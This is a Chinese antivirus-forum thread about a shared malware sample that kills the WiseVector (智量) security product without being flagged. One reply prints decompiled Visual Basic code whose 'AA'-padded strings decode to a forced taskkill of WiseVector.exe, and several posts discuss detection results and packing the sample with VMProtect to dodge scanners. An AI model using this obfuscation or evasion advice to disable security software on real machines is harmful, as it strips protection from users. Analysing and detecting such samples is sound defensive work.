杀智量（智量不报）

显示全部楼层 · 发表于 2019-3-18 18:13:44

密码virus

显示全部楼层 · 发表于 2019-3-18 18:34:15

显示全部楼层 · 发表于 2019-3-18 18:34:55

过wd

显示全部楼层 · 发表于 2019-3-18 18:58:38

直接就被智量报了。
Private Sub Command1_Click() '401B10
  loc_00401BA9: For var_24 = 1 To 10 Step 1
  loc_00401BC1:
  loc_00401BC3: If var_90 = 0 Then GoTo loc_00401C7F
  loc_00401BEC: var_30 = Replace("tAAasAAkkAAill /iAAm WAAisAAeVeAActAAor.eAAxAAe", "AA", vbNullString, 1, -1, 0)
  loc_00401C33: var_28 = Replace("tAAasAAkkAAill /iAAm WAAisAAeVeAActAAor.eAAxAAe /f", "AA", vbNullString, 1, -1, 0)
  loc_00401C74: Next var_24
  loc_00401C7A: GoTo loc_00401BC1
  loc_00401C7F: 'Referenced from: 00401BC3
  loc_00401C8C: GoTo loc_00401CA1
  loc_00401CA0: Exit Sub
  loc_00401CA1: 'Referenced from: 00401C8C
End Sub

显示全部楼层 · 发表于 2019-3-18 19:15:08

wowocock 发表于 2019-3-18 18:58
直接就被智量报了。
Private Sub Command1_Click() '401B10
loc_00401BA9: For var_24 = 1 To 10 Step ...

我前几天测试是不报的，有人上传？

显示全部楼层 · 发表于 2019-3-18 19:15:41

wowocock 发表于 2019-3-18 18:58
直接就被智量报了。
Private Sub Command1_Click() '401B10
loc_00401BA9: For var_24 = 1 To 10 Step ...

怎么你们老是用VB Decompiler Pro。讨厌。。。

显示全部楼层 · 发表于 2019-3-18 19:24:26

skystars 发表于 2019-3-18 19:15
怎么你们老是用VB Decompiler Pro。讨厌。。。

你加一个VMP就好。。。

显示全部楼层 · 发表于 2019-3-18 19:53:27

FS也不报。不双击了。

显示全部楼层 · 发表于 2019-3-18 20:10:29

填充AA混淆

显示全部楼层 · 发表于 2019-3-18 20:57:11

你好，再见发表于 2019-3-18 19:24
你加一个VMP就好。。。

加vmp就报壳了，没有哪个病毒加壳的吧

[病毒样本] 杀智量（智量不报）

本帖子中包含更多资源

本帖子中包含更多资源